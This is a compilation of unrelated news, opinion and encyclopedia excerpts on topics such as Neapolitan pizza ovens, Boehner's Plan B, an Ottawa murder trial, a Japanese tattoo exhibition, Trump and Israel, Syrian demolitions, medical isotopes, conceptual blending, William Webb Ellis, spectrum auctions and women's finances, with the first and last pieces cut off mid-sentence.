nature of some of the most traditional forms of pizza making that the pizza is supposed to be cooked very quickly. Not to restart the home-cooked pizza wars, but the basic shape of the story is that Neapolitan pizza cookery is a capital intensive business. You want good crust and good sauce, obviously, but you also need to cook it very fast in a very hot oven. So the whole situation is ideally set up for one in which a business owner places bulk orders of pizza ovens and then cooks personal-sized pizzas at a rapid pace. This is obviously somewhat different from the formats in which Americans have traditionally eaten pizza (delivery, slices) but it makes perfect sense. It’s also well-aligned with the fact that even though the best American pizza is still concentrated in the pizza belt where the Italian-American population is large, there’s been an enormous growth of interest in quality pizza all around the country over the past decade. People are ready for a pie that, while perhaps not ready to win any awards in New Haven, will be light-years ahead of what Dominoes and Papa Johns have to offer. -Boehner begged for a one-on-one negotiation with Obama — a power play to show he, not his unruly conference, was running the show. He emerged from Mitt Romney’s loss as a strengthened leader: He’s the most powerful Republican in the country. He even moved to strip trouble-making lawmakers of plum committee assignments in a bid to flex his internal muscle. Without consulting his membership, Boehner offered Obama $800 billion in revenue. Text Size - + reset “This is where I’m going,” Boehner personally told his fellow leaders when he made Obama the offer, a fresh blast of confidence. That newfound political capital was quickly sanded-down by Boehner’s own crew. What happened to the 63-year-old in just the last week is striking. On Saturday night, word leaked out that he had given into the White House’s demand that he allow tax rates on the rich to snap to 39.6 percent. Immediately, conservatives were grumbling but still gave Boehner room to maneuver. On Monday night, Boehner called Obama to inform him he would devise a plan and pass it out of the House — Plan B, he called it — because negotiations with the White House weren’t moving quickly enough. Boehner’s in-house power structure quickly sprung into action. His leadership team spent the past few days gathering support for the legislation — as of late Wednesday, there were clear signs that Boehner’s bill did not have sufficient support. On Wednesday night and all day Thursday, Boehner worked the House floor, personally making the case for the bill to wavering members. By late Thursday, he was sitting on the floor with Reps. Patrick Tiberi (Ohio), Tom Latham (Iowa) and Mike Simpson (Idaho) — close allies and friends, who support the speaker unfailingly. Top Republicans remained hopeful, until late Thursday when GOP lawmakers voiced a public protest. Twenty-one Republicans voted against a spending bill to send a signal to leadership that the tax-rate bill didn’t meet their muster. It was the rank and file screaming that Plan B would not pass. One hour and 15 minutes later, Boehner was leading Republicans into a Capitol basement meeting room to wave the white flag. Some of the same members kicked off committees and denied leadership spots — Rep. Tim Huelskamp of Kansas and Rep. Tom Price of Georgia — led the resistance. Rep. Aaron Schock (R-Ill.) put it plainly: “Nobody’s elected king in our conference.” ”And so I thought the speaker did a very good job of making the case for why this was a good proposal and at the end of the day though, it’s up to the conference’s will, is what happens,” Schock said. “Nobody can tell any duly elected representative who represents over 700,000 constituents how they have to vote. So you have to then respect the process and each individual’s vote.” Last month, Boehner won unanimous support of the House Republican Conference to serve as speaker for the next two years. But for the first time, GOP lawmakers privately told POLITICO Thursday night that there are questions about Boehner’s grip on power. With Congress out, potentially until 2013, he might not see some of those faces until he gets to the House floor to be officially voted in as speaker. Seung Min Kim and Ginger Gibson contributed to this report. -As far as the police were concerned, accused killer Gurpreet Ronald sealed her own fate — or, at least, licked it. In some remarkable detective work, Ottawa police investigating the Jan. 29, 2014, slaying of Jagtar Gill surreptitiously got a DNA sample from her husband’s mistress, Gurpreet Ronald, in an elaborate ruse that had the murder suspect filling out a contest entry form and licking its envelope with the hopes of winning. The jury at their first-degree murder trial on Wednesday heard that blood found at Gill’s Barrhaven home, on the knives and latex gloves, matched Ronald’s DNA. Forensic tests have concluded that the chances it is someone else’s DNA are one in one quadrillion, the jury heard. Gill, 43, was at home recovering from surgery when her attacker slit her throat, slashed her arms and bludgeoned her to death with a weightlifting bar. There was blood spatter throughout the home and signs of deadly struggle in the family room, where Gill’s 15-year-old daughter found her dead on the floor. The teen made the awful discovery after a trip to Sobeys with her dad — Bhupinderpal Gill — for flowers and cake to celebrate her parents’ wedding anniversary. Gill and Ronald are on trial for first-degree murder in what prosecutors have branded as a plot to get rid of the woman they despised. The ruse to get Ronald’s DNA was authorized by a warrant, as was the use of hidden video cameras in the basement, where Gill was caught on tape twice looking at a bloodstained weightlifting bar before he concealed it in his jacket, only to later dump it outside. In opening remarks, the Crown claimed that the two accused, both OC Transpo drivers, would do anything to be together — even if it meant killing Gill’s wife. In the 28 days leading to Jagtar’s death, Gill and Ronald spoke on the phone more than 250 times for a total of 48 hours. The jury was told that, on the day of the killing, Gill convinced his daughter to run errands with him, leaving Jagtar behind. The daughter had stayed home from school to look after her mother and to study for an exam, while her two siblings went to class. The Crown has told the jury that while Gill and his daughter were out shopping, Ronald paid a deadly visit to their home, slashing Jagtar’s neck and left wrist, then stabbed her repeatedly in the stomach and bashed her about the head with the weightlifting bar. And when the husband got home, he started washing the bloody knives used to kill his wife, the jury heard. He also hid the bloodied weightlifting bar. gdimmock@postmedia.com twitter.com/crimegarden -The Virginia Museum of Fine Arts (VMFA) has managed to blend the locally popular art of tattoo and the historically beautiful craftsmanship of Japanese art with the The Virginia Museum of Fine Arts (VMFA) has managed to blend the locally popular art of tattoo and the historically beautiful craftsmanship of Japanese art with the launch of its new exhibition, “Japanese Tattoo: Perseverance, Art, and Tradition.” The collection centers around seven internationally acclaimed tattoo artists, curated by Kip Fulbeck and Takahiro Kitamura. Fulbeck photographed each intricate work which was “inspired by the Japanese tradition of tattooing and heavily influenced by the traditional Japanese arts of calligraphy and ukiyo-e woodblock printmaking.” Each featured picture is matched with an artist’s name and a number corresponding to a streaming audio guide. Drawing an audio aspect to a conventionally visual experience, the guide uses recordings of the curators or even the artists themselves to tell the story behind the tattoo, explain the symbolism, or delve into the bond the artist and person being tattooed now shares. “Anytime you can hear directly from an artist, what they are thinking, I feel like that’s an excellent component to any exhibition,” said Chesterfield. “The art world is fickle at times,” said Lee Anne Chesterfield, Interim Deputy Director for Art and Education at the VMFA. Defying this stereotype, Chesterfield aimed to bring in work, not necessarily accepted by the art world as ‘fine art.’ In “Japanese Tattoo,” she hopes to foster conversations on the topic of fine arts and how to bring the life-long body modifications into the fine arts fold. “There’s a great connection with woodblock prints and tattoo and Japanese art,” said Chesterfield of the ancient printing technique where someone carves an image into a block, dips it in ink, and presses it against a surface to create an image using the negative space. “Until really pretty recently, [either] weren’t considered fine art,” she laughed, illuminating on the museum’s ongoing, and equally controversial exhibition featuring woodblock prints. Chesterfield continued to draw comparisons in order to explain a subject seldom discussed in the art world equating the tattoo masters featured in the museum’s exhibition to the principal contributors of the impressionist movement who now stand as legends in art history. “By having it in our galleries and in our museum, I fully look at [tattoos] as fine art, as artworks and artists.” While tattoo as artwork may be a relatively modern notion, criticism is not, and it is for this reason Chesterfield says she wasn’t surprised by some of the questionable feedback received for the contended exhibit. “I think it’s a part of art history, it happens all the time,” she said. “It opens up the discussion, the dialogue, which in my mind is the perfect opportunity, it’s something we should be doing.” Cultivating conversation and encouraging discussion by bringing in different forms of artwork is part of the mission of the VMFA according Chesterfield, saying she welcomes all comments, questions, and critiques. The extensive mission of the VMFA is intrinsically difficult purely because of its nature as a museum — appealing to spanning age demographics is never easy. “We always want to be accessible, we always want to bring in and welcome new groups,” said Chesterfield. “Anytime we can bring in someone that hasn’t been here before, that’s been here ages ago and doesn’t remember and doesn’t really realize what we are now, I feel like that’s a win-win for everyone.” Challenging what is conventional by bringing in what is considered beautiful by differing crowds harbors an environment that will appeal to diverse peoples across ethnic, age, and gender lines. Chesterfield spoke on behalf of museums around the world saying, “future generations are what we are building all of this for, and so we always have to be thinking about younger demographics, younger people, bringing them in, and what’s going to spark their interest.” The wide-ranging aim of the VMFA is palpable through this exhibit. “Richmond being one of, if not the top tattoo city in the country,” made the museum a perfect host for the Japanese American National Museum in Los Angeles’ exhibition, said Chesterfield. There’s a mess of events associated with the exhibit, check them out below: Perseverance: Creating the First Exhibition Exploring Japanese Tattooing as Fine Art Fri, May 29, 6 – 7 pm Cost: $8 (VMFA members $5) Gallery Walk with Kip Fulbeck SOLD OUT Sat, May 30, 2 – 2:45 pm Cost: Free, with purchase of a Japanese Tattoo exhibition ticket Understanding the Art of Tattoo: The Perseverance of Traditions in Contemporary Japanese Art Thursdays, Jun 4 & 11, 6:30 – 8 pm (2 sessions) Cost: $50 (VMFA members $40) *Cost includes admission to the exhibition. Tattoo Arts and Film Festival Fri, Sep 4, 3 – 9:30 pm Sat, Sep 5, 10:30 am – 5 pm; Reception: 5 – 7 pm Cost: Two-day festival pass: $25 (VMFA members $18), individual films: $8 (VMFA members $5) -The N.Y. tycoon is decimating the three legs of blanket Republican support for Israel: Evangelicals, Jews and interventionist hawks. Chemi Shalev, Haaretz In their Super Tuesday speeches, Ted Cruz and Marco Rubio tried to use an Israel hammer to bash Donald Trump. Cruz sneeringly lambasted him for saying he would remain “neutral” while Rubio trounced Trump for trying to stay “impartial”, as his audience booed accordingly. And Trump? Trump was racking up victories, amassing delegates and laughing all the way to the top of the Republican presidential field. In this way, the New York billionaire is decimating the conventional wisdom, one of many, that in 2016, total and unconditional support for Israel is a prerequisite for any aspiring GOP candidate wishing to run for president; that such a pledge of allegiance to Israel, in general, and to Benjamin Netanyahu, in particular, is a threshold requirement for gaining the support of Evangelicals, who set the tone during primary season; and that the flow of sympathy for Israel from liberal Democrats to conservative Republicans is inevitable, perhaps even desirable, and in any case unstoppable. But exactly a year after Netanyahu took this logic to its extreme and stood on the podium of Congress as Leader of the Republican opposition to President Obama’s nuclear deal with Iran, the conception is falling apart. The notion that the Republican Party is a monolithic bastion of support that will withstand the test of time is evaporating. The belief that any Republican president who will follow Obama will be better for Israel is eroding with each passing day. Faced with the Trump phenomenon, Netanyahu’s Fortress GOP strategy is collapsing like a house of cards. And it doesn’t really make that much difference whether Trump is a “phony” who is pulling the wool over the GOP’s innocent eyes, as former presidential contender Mitt Romney asserted in his astonishingly harsh speech on Thursday, or whether Trump has simply exposed the dark subterranean streams of jingoism and prejudice and resentment of Jews that were there all along. If Trump is the Republican candidate, never mind if he’s elected president, Israel’s place in American politics and possibly around the world will be put in question. But if Romney’s scary portrayal of Trump is even half true, that should be the least of our worries. In the outgoing dogmatic GOP, Trump’s equivocations would have earned him a place in the all-time rogues gallery of Enemies of the Jewish People, somewhere between Obama and Father Coughlin. Today, Evangelicals shrug them off and continue to vote for Trump, as they did this week in Alabama, Georgia, Massachusetts, Tennessee, Vermont and Virginia. Every time Cruz and Rubio try to hit Trump over the head with an Israel club and nothing happens, it is Israel’s weakness that is exposed. Every time Trump wins a party primary without challenge from his supporters, another nail is driven into the coffin of the unshakeable alliance between Israel and America’s deep right. And it’s not as if Trump is really anti-Israel; hardly. Like in most other complex policy issues on which he has spoken, Trump is mainly incoherent, improvising as he goes along, shooting from the lip, saying one thing one day and the opposite the next. He is “totally a friend” of Israel, Obama is “the most horrible president ever” for Israel, and the Iran deal is a joke. But Trump refuses to acknowledge United Jerusalem, wants to remain “neutral” so that he can broker a peace deal with the Palestinians, which is a challenge worthy of a master dealmaker like him. If he fails, he’s already made clear, Israel will be to blame. Trump not only diverts the Republican leadership from uniform automatic support for Netanyahu, he is destroying the internal coalition that was the lynchpin of the party’s strong pro-Israel stance. Evangelical support for Trump has already sparked an internal rupture, which has some experts declaring the death of America’s Religious Right. Evangelical leaders and many of their supporters in the media are heartbroken that so many Believers are flocking after the thrice married, dirty-talking reality star. They are less perturbed by his deviation from the strict pro-Israel party line, however, and more by the sinful ways for which he has not asked forgiveness. If Trump becomes their candidate, the GOP will lose its most hawkish, most neoconservative and most pro-Israel secular elements as well. They are repelled not only by his indecipherable positions on Israel but also by his harsh criticism of George Bush and the Iraq War, his undisguised adulation of dictators for Vladimir Putin to Bashar Assad, his all round belligerence and his neo-isolationist vision of making America great again within its hermetically sealed walls. “As president, he would use the authority of his office to act in ways that make America less safe, and which would diminish our standing in the world” according to public letter signed by 50 GOP national security stalwarts, many of them known for their pro-Israel positions. “We commit ourselves to working energetically to prevent the election of someone so utterly unfitted to the office.” The third leg of the GOP’s pro-Israel array that Trump is eviscerating are the Jews. Although Sheldon Adelson’s ongoing silence has caused some people to suspect he will end up supporting Trump, other big time Jewish donors, including hedge fund billionaire Paul Singer, have placed their money on his currently losing rivals. And the Republican hope that 2016 will finally see the long awaited migration of Jews disappointed by Obama to the GOP is dashed once again. Trump hardly stands a chance of garnering 30% of the Jewish vote, as Romney did in 2012, never mind the 40% that Rubio might reasonably be expected to receive. He’s more likely to revert the GOP’s Jewish vote in the direction of the 11% that George Bush Sr. got in 1992, or the 10% that Barry Goldwater received in 1964. But the Jews won’t be fleeing Trump because of his policies towards Israel or because he refuses to repeat Cruz and Rubio’s inane pledge to tear the Iranian nuclear deal apart on their first day in office. The Jews won’t abandon Trump because he’s married for the third time, or because he went bankrupt four times, or because he uses dirty words whenever he can. They certainly won’t desert Trump because of his positions on abortion, health care or separation of church and state, which are more aligned with theirs than Cruz’s, Rubio’s or Kasich’s. The Jews will run away from Trump because he scares them. Because his demagoguery is ominous, his willingness to slash and burn anyone standing in his way is disturbing, his tendency to incite his supporters against other ethnic groups from rapist Mexicans to terrorist Muslims, is a source of deep anxiety. Beneath the great wave of popular support for Trump one can make out with increasing clarity the dark undercurrents of rage and resentment and xenophobia that is often seen morphing into White supremacism and abhorrence of African Americans and then, on the outskirts, bad old hatred of the Jews. The allusions to Germany in the 1930’s are absurd, no doubt, but nonetheless surfacing with ever-increasing frequency. Trump’s dithering resistance to a clear and unequivocal condemnation of David Duke and the Ku Klux Klan set the alarm bells ringing. Add to that the disturbing incidents in which African Americans are brutally manhandled at Trump events, in some cases by American Nazis who laud Trump for “resisting Jewish money.” Grotesquely, that was the connection made this week between Duke, who hates Jews and blacks, and Louis Farrakhan, who loathes Jews and whites. The Trump phenomenon reinforces the long held claim that part of the alliance of shared values between Israel and the American extreme right is based on a warped and racist view of Israel as a forward post of white civilization against the darker barbarians at the gate. Israelis who have cast themselves as Republicans have taken scant interest in the domestic side of the GOP, with which some of them might even agree. Many of them will continue to view Trump as a desirable heir to Muslim Obama and alternative to a radical Hillary Clinton. Others will console themselves with the thought that once elected, Trump will become another man. Still others will yearn for his victory, if only to confound Netanyahu and satisfy their own Schadenfreude. But most people, possibly in Israel and definitely around the world, will prudently pray for the GOP to get rid of Trump, and failing that, for Clinton or Bernie Sanders to defeat him in November. At the same time, they would do well to undo Netanyahu’s frivolous decision to put all of Israel’s eggs in the GOP basket, which is unraveling in front of our very eyes. -A Syrian rebel fighter walks down a street in Damascus that has been reduced to rubble. Anwar Amro/AFP/Getty Images Click for an interactive below with before-and-after images of the destruction of neighborhoods. While Western diplomats and Syrian rebel leaders squabble in Geneva, and the internationally backed Organization for the Prohibition of Chemical Weapons starts removing the Syrian government’s chemical stockpiles, the ground war for control of the country still rages on Syria's streets. According to a new report, a low-tech weapon in that war has been discovered: the leveling of buildings and even entire neighborhoods with bombs and bulldozers. The report, released by Human Rights Watch on Thursday, says that the Syrian government has destroyed no less than 350 acres of buildings in at least seven neighborhoods around Syria since July 2012 in an effort to wrest control from the rebels. The report says the tactic has caused widespread destruction and exacerbated Syria’s already critical refugee crisis. It also says President Bashar al-Assad’s government doesn’t plan to stop. Human Rights Watch analyzed 15 commercial satellite images, conducted interviews with 16 witnesses and homeowners who had their homes destroyed in Syria, and relied on media reports, government officials and videos posted to YouTube to compile the report. The organization found that in neighborhoods around Damascus and Hama, widespread demolition had taken place in the past year and a half. The Syrian government said these demolitions were necessary to clear the areas of poorly built houses and make way for urban-planning and public-works projects. But according to the HRW review, all the demolished areas were either rebel strongholds or considered high-value targets for the military. And HRW says each demolition was carried out by military forces, and often right after fights with rebels. Because the destruction was done without proper military justification, HRW’s report concludes that the incidents should be considered war crimes. “(The demolitions) violated the laws of war either because they served no necessary military purpose and appeared intended to punish the civilian population, or because they caused disproportionate harm to civilians,” HRW’s report said. “Those responsible for the wanton destruction of civilian property or for imposing collective punishment have committed war crimes and should be investigated and held to account.” The two single biggest demolition campaigns appear to have been in the Hama suburb of Masha’a al-Arb’een, and near Mezzeh Air Base in Damascus. The Hama demolition consisted of bulldozing about 100 acres of land in the fall of 2012, after rebels and government forces fought for control of the neighborhood for weeks. “I begged the soldier to let me in to collect my belongings,” one Hama resident told HRW. “He let me, but I had only a few minutes. After I left, the bulldozer demolished my house. Nothing was left of it, not even the walls.” The demolitions around the Damascus airport were of a similar scale and seemingly also carried out after fighting between government forces and rebels in 2012. Local Gov. Hussein Makhlouf insisted that the demolitions were part of a government program to rid the country of poorly constructed houses and said they were completely legal. He said new demolitions in other areas are scheduled to take place soon. -CTV.ca News Staff Ontario's McMaster University says it can produce four times the amount of medical isotopes as the failing Chalk River reactor, in a possible solution to a severe worldwide shortage. "Our physicists have done the calculations and verified them with the literature and . . . that equals, at the end of the day, 20 per cent of the North American market," Christopher Heysel, McMaster's director of nuclear operations and facilities, told a House of Commons committee on Tuesday. But the school would need $30 million in government funding over the next five years. It has already received $22 million from both the federal and Ontario governments. McMaster's 50-year-old reactor is the only other Canadian facility that can produce Technetium-99m (Tc-99m), the principal medical isotope used in cancer tests. It once filled in for the Chalk River reactor in the 1970s during a shutdown. Meanwhile, the federal government announced $6 million to fund research into alternatives to Tc-99m, which is produced from molybdenum-99 (Moly-99). With the reactor shutdown expected to last three months or longer, medical imaging experts have been struggling to meet the needs of patients requiring important diagnostic images. Just this week, nuclear medicine leaders, meeting in Toronto, called for legislators to fund more research so they can shift dependence away from the commonly used Tc-99m. "Through this funding, we hope to research into alternative, non-nuclear isotopes that could supplement or replace Tc-99m in certain medical imaging procedures," Health Minister Leona Aglukkaq said. "We will also support the production of these alternatives to reduce the time it takes to move to clinical trials." The president of the Society of Nuclear Medicine, Dr. Robert Atcher, is saying the long-term solution to the worldwide isotope shortages isn't necessarily in building new reactors. "It turns out that our real problem isn't that there aren't enough reactors to make medical isotopes," Atcher told CTV on Tuesday. "It's the production facilities that we use when we take those targets out of the reactor and process them to remove the medically useful isotopes -- that capacity around the world is very limited. So we don't need necessarily to build any more reactors; we need to build those processing facilities." The nuclear medicine conference, usually a forum for celebrating new ways of diagnosing disease, is being dominated by the Chalk River shutdown, which Atcher says has caused two problems. "One is that we've lost a third of our capacity. But the second point is that the Canadian reactor is also responsible for making up about 25 per cent of capacity if any of the other four reactors around the world go offline," he explained. "So, for example, the reactor in the Netherlands is scheduled to go down in July, and with Chalk River offline, we won't be able to make up for that reactor not producing as well." Facilities that are too old There are only five countries with reactors that produce the raw materials for medical isotopes: Belgium, Canada, France, the Netherlands and South Africa. Each of those reactors has been operating for about five decades. Atcher says it's clear that too many demands are being placed on too few facilities that are simply too old. "It's really too bad that we had to face this, but on the other hand, the reactor at Chalk River is at the end of its useful life. So we anticipated that it would go offline in the next few years," he said. Atcher added that the announcement last week from Prime Minister Stephen Harper that Canada will get out of the medical isotope business when the 52-year-old NRU reactor finally is mothballed (likely by 2016), helps nuclear medicine organizers to plan for the future. "There's a silver lining in that now we know when Canada is planning to cease activity. So that gives us a deadline to develop more capacity and to potentially even build a new reactor that might take over," Atcher said. Canada had been planning to have two reactors dedicated to producing medical isotopes by now. AECL was building two reactors at Chalk River -- the Maple project -- that were supposed to be operating by 2000. But after 12 years of development and cost overruns, the reactors never worked well enough to be put into commercial production. AECL concluded last year that the Maple project would have to be cancelled altogether. Health Canada also has a stopgap, announcing late Monday a new source for Tc-99m. It said it has authorized Lantheus Medical Imaging of Boston, Mass. to use Moly-99 produced by the Open Pool Australian Light-water (OPAL) reactor to make Tc-99m for Canadian health care facilities. Health Canada's approval means that the Moly-99 produced by the OPAL reactor is safe and effective for use by Canadian health care providers. "This is very good news for Canadian health care providers and patients," Aglukkaq said in a news release. In the meantime, with diagnostic tests being delayed or cancelled, deaths are possible, warns Atcher, because there is little capability to use other imaging technologies in many kinds of diagnosis. "For patients with lung cancer, prostate and breast cancer, we use nuclear medicine to assess whether the cancer has spread to their skeleton and there's really not other adequate way for us to do that," he said. -Conceptual blending, also called conceptual integration or view application, is a theory of cognition developed by Gilles Fauconnier and Mark Turner. According to this theory, elements and vital relations from diverse scenarios are "blended" in a subconscious process, which is assumed to be ubiquitous to everyday thought and language. Conceptual blending is an emerging field of studies for computer scientists wishing to pursue researches in artificial intelligence.[citation needed] History [ edit ] The development of this theory began in 1993 and a representative early formulation is found in the online article Conceptual Integration and Formal Expression.[1] Turner and Fauconnier cite Arthur Koestler's 1964 book The Act of Creation as an early forerunner of conceptual blending: Koestler had identified a common pattern in creative achievements in the arts, sciences and humor that he had termed "bisociation of matrices."[2] A newer version of blending theory, with somewhat different terminology, was presented in Turner and Fauconnier's 2002 book, The Way We Think.[3] Conceptual blending, in the Fauconnier and Turner formulation, is one of the theoretical tools used in George Lakoff and Rafael Núñez's Where Mathematics Comes From, in which the authors assert that "understanding mathematics requires the mastering of extensive networks of metaphorical blends."[4] Computational models [ edit ] Conceptual blending is closely related to frame-based theories, but goes beyond these primarily in that it is a theory of how to combine frames (or frame-like objects). An early computational model of a process called "view application", which is closely related to conceptual blending (which did not exist at the time), was implemented in the 1980s by Shrager at CMU and PARC, and applied in the domains of causal reasoning about complex devices[5] and scientific reasoning.[6] More recent computational accounts of blending have been developed in areas such as mathematics.[7] Some later models are based upon Structure Mapping, which did not exist at the time of the earlier implementations. The philosophical status of the theory [ edit ] In his book The Literary Mind[8] (p. 93), conceptual blending theorist Mark Turner states that Conceptual blending is a fundamental instrument of the every day mind, used in our basic construal of all our realities, from the social to the scientific. Insights obtained from conceptual blends constitute the products of creative thinking, however conceptual blending theory is not itself a complete theory of creativity, inasmuch as it does not illuminate the issue of where the inputs to a blend originate. In other words, conceptual blending provides a terminology for describing creative products, but has little to say on the matter of inspiration.[citation needed] See also [ edit ] Notes [ edit ] -The Reverend William Webb Ellis (24 November 1806 – 24 January 1872) was an English Anglican clergyman and the alleged inventor of rugby football while a pupil at Rugby School. According to legend, Webb Ellis picked up the ball and ran with it during a school football match in 1823, thus creating the 'rugby' style of play. Although the story has become firmly entrenched in the sport's folklore, it is not supported by substantive evidence, and is discounted by most rugby historians as an origin myth. The William Webb Ellis Cup is presented to the winners of the Rugby World Cup.[1][2] Biography [ edit ] William Webb Ellis was born in Salford, Lancashire, the younger of two surviving sons (the eldest, James, died aged three; the second son, Thomas, of Dunchurch, Warwickshire, was a surgeon) of James Ellis, a cornet in the 7th Dragoon Guards, in 1809 made a Lieutenant of the 3rd Dragoon Guards, joining them in Portugal,[3] and Ann, daughter of William Webb, a surgeon, of Alton, Hampshire, whom James married in Exeter in 1804. His paternal grandfather was from Pontyclun in South Wales, a descendant of the Ellis family of Kiddal Hall, just off the A64 near Potterton, West Riding of Yorkshire.[3] After his father was killed during the Peninsular War in a cavalry action near Albuera on 1 July 1812,[4] Mrs Ellis, in receipt of an allowance of £30 from His Majesty's Royal Bounty in recognition of her husband's service,[5] decided to move to Rugby, Warwickshire, so that William and his elder brother, Thomas, would receive an education at Rugby School with no cost as a local foundationer (i.e. a pupil living within a radius of 10 miles of the Rugby Clock Tower). He attended the school in Town House from 1816 to 1825 and was recorded as being a good scholar and cricketer, although it was noted that he was "rather inclined to take unfair advantage at cricket". The incident in which William Webb Ellis supposedly caught the ball in his arms during a football match (which was allowed) and ran with it (which was not) is supposed to have happened in the latter half of 1823. After leaving Rugby in 1826, he went to Brasenose College, Oxford, aged 20. He played cricket for his college, and for Oxford University against Cambridge University in a first-class match in 1827.[6][7] He graduated with a B.A. in 1829 and received his M.A. in 1831. He entered the Church and became chaplain of St George's Chapel, Albemarle Street, London (closed c.1909),[8] and then rector of St. Clement Danes in the Strand. He became well known as a low church evangelical clergyman. In 1855, he became rector of Magdalen Laver in Essex. A picture of him (the only known portrait) appeared in the Illustrated London News in 1854, after he gave a particularly stirring sermon on the subject of the Crimean War. He never married and died in the south of France in 1872, leaving an estate of £9,000, mostly to various charities. His grave in "le cimetière du vieux château" at Menton in Alpes Maritimes was rediscovered by Ross McWhirter in 1958, was renovated by the Riviera Hash House Harriers in 2003 and is now maintained by the French Rugby Federation.[9] The legend [ edit ] Origin of the claim [ edit ] Webb-Ellis carries the ball during a school association football match played in 1823. According to legend, this action would have created the rugby-style of play The sole source of the story of Webb Ellis picking up the ball originates with one Matthew Bloxam, a local antiquarian and former pupil of Rugby.[2] On 10 October 1876,[10] he wrote to The Meteor, the Rugby School magazine, that he had learnt from an unnamed source that the change from a kicking game to a handling game had "...originated with a town boy or foundationer of the name of Ellis, Webb Ellis". On 22 December 1880,[10] in another letter to the Meteor, Bloxam elaborates on the story: "A boy of the name Ellis – William Webb Ellis – a town boy and a foundationer, ... whilst playing Bigside at football in that half-year [1823], caught the ball in his arms. This being so, according to the then rules, he ought to have retired back as far as he pleased, without parting with the ball, for the combatants on the opposite side could only advance to the spot where he had caught the ball, and were unable to rush forward till he had either punted it or had placed it for some one else to kick, for it was by means of these placed kicks that most of the goals were in those days kicked, but the moment the ball touched the ground the opposite side might rush on. Ellis, for the first time, disregarded this rule, and on catching the ball, instead of retiring backwards, rushed forwards with the ball in his hands towards the opposite goal, with what result as to the game I know not, neither do I know how this infringement of a well-known rule was followed up, or when it became, as it is now, a standing rule." Bloxam's first account differed from his second one four years later. In his first letter, in 1876, Bloxham claimed that Webb Ellis committed the act in 1824, a time by which Webb Ellis had left Rugby.[10] In his second letter, in 1880, Bloxham put the year as 1823.[10] 1895 investigation [ edit ] The claim that Webb Ellis invented the game did not surface until four years after his death, and doubts have been raised about the story since 1895, when the Old Rugbeian Society first investigated it. The sub-committee conducting the investigation was "unable to procure any first hand evidence of the occurrence".[11] Among those giving evidence, Thomas Harris and his brother John, who had left Rugby in 1828 and 1832 respectively (i.e. after the alleged Webb Ellis incident) recalled that handling of the ball was strictly forbidden. Thomas Harris, who requested that he "not [be] quote[d] as an authority", testified that Webb Ellis had been known as someone to take an "unfair advantage at football".[11] John Harris, who would have been aged 10 years at the time of the alleged incident, did not claim to have been a witness to it. Additionally, he stated that he had not heard the story of Webb Ellis's creation of the game.[11] Thomas Hughes (author of Tom Brown's Schooldays) was asked to comment on the game as played when he attended the school (1834–1842). He is quoted as saying "In my first year, 1834, running with the ball to get a try by touching down within goal was not absolutely forbidden, but a jury of Rugby boys of that day would almost certainly have found a verdict of 'justifiable homicide' if a boy had been killed in running in." It has been suggested by Dunning and Sheard (2005) that it was no coincidence that this investigation was conducted in 1895, at a time when divisions within the sport led to the schism: the split into the sports of rugby league and rugby union.[2] Dunning and Sheard suggest that the endorsement of a "reductionist" origin myth by the Rugbeians was an attempt to assert their school's position and authority over a sport that they were losing control of.[2] Jem Mackie [ edit ] An article by Gordon Rayner in The Sunday Telegraph[12] about the origin of Rugby football, says that Thomas Hughes told the 1895 investigation that in 1838–1839 a Rugby School boy called Jem Mackie "was the first great runner-in", and that later (in or before 1842) Jem Mackie was expelled from Rugby School for an unspecified incident; in 1845 boys at the school first wrote down an agreed set of rules for the version of football played at Rugby School, which is now rugby football. Gordon Rayner says that the reason for Jem Mackie's expulsion may have damaged Mackie's reputation so much that Bloxam transferred Mackie's part in inventing Rugby football to Webb Ellis, and that a big donation by Bloxam to Rugby School's library may have influenced school official acceptance of this Webb Ellis version.[12] Another theory is that Mackie's role may have been disregarded because the committee was seeking to prove Rugby School had invented the game, and thus may have preferred the earliest possible date.[13] England Rugby says that William Webb Ellis's action (if it happened) did not lead to any immediate change in the rules but may well have inspired later imitators, though not Mackie, as Thomas Hughes said the Webb Ellis story had not survived into his own time (1834, which was before Mackie popularised running-in in 1838/39).[14] The plaque [ edit ] A plaque, erected in 1895, at Rugby School bears the inscription:[2] THIS STONE COMMEMORATES THE EXPLOIT OF WILLIAM WEBB ELLIS WHO WITH A FINE DISREGARD FOR THE RULES OF FOOTBALL AS PLAYED IN HIS TIME FIRST TOOK THE BALL IN HIS ARMS AND RAN WITH IT THUS ORIGINATING THE DISTINCTIVE FEATURE OF THE RUGBY GAME A.D. 1823 Image of the plaque at Rugby School See also [ edit ] References [ edit ] -You didn’t really think AT&T was going to sit around and watch Verizon, Sprint and T-Mobile gobble up incredibly valuable spectrum on the 600MHz band, did you? Well, neither did the Federal Communications Commission, which earlier this week called AT&T’s bluff and essentially dared it to skip out on what might be the most important wireless spectrum auction we’ll see for years. As Re/code reports, FCC chairman Tom Wheeler scoffed at AT&T’s supposed threat to boycott next year’s 600MHz auction and said that he had “a hard time envisioning this once in a lifetime opportunity for this kind of beachfront spectrum being something that people throw up their hands and walk away from.” Earlier this month, AT&T said that it might stay away from the auction all together unless the FCC reversed its decision to reserve about 30MHz worth of licenses on the band for smaller carriers. AT&T argued that it shouldn’t face any such restrictions in the auction and said that it should basically be allowed to gobble up as much spectrum as it could afford. The FCC, mindful of the fact that Verizon and AT&T dominated the last major auction for spectrum on the 700MHz band, didn’t want to see the same thing happen again, which is why it put rules in place to ensure that the nation’s two biggest carriers didn’t again come away with all of the best spectrum licenses on the band. Now, as Re/code tells it, AT&T is now saying that “our desire to participate in this auction and our hope for a successful auction is unchanged,” which is basically the carrier’s way of admitting that it never had any intent of skipping the auction in the first place. Surprise, surprise. -When it comes to who should feel in charge of their own money, Beyonce said it best: "All the single ladies, now put your hands up." Nearly all single women — 97 percent — said it's important to be engaged in managing their finances, according to a new Fidelity Investments study, "Single Women & Money." However, three things are holding them back, the report found: underestimating their know-how, neglecting to plan for the future and saving too heavily in cash. "Women are gaining a ton of financial power, but, they are too often in the back seat," said Alexandra Taussig, a senior vice president of women investors at Fidelity. Just 25 percent consider themselves primary decision-makers when it comes to family finances, according to a separate study from Fidelity. Single women were less likely to consider themselves knowledgeable than other demographic groups on topics such as investing, retirement saving and creating a financial plan, Fidelity found. "We have this lack of confidence," Taussig said. Overall, 1 in 3 single women said they are concerned about their finances, compared with 1 in 5 single men. -America’s response to Russia is weak for a reason. So far America’s response to Russia has been pathetically weak. The strongest thing we have done is transfer 12 aging F-16 fighter jets to Poland to make the Poles feel safer. There is a reason for such great weakness. If you understand that reason, you will understand why America will not stop Russia. And you will understand why America’s superpower days are a 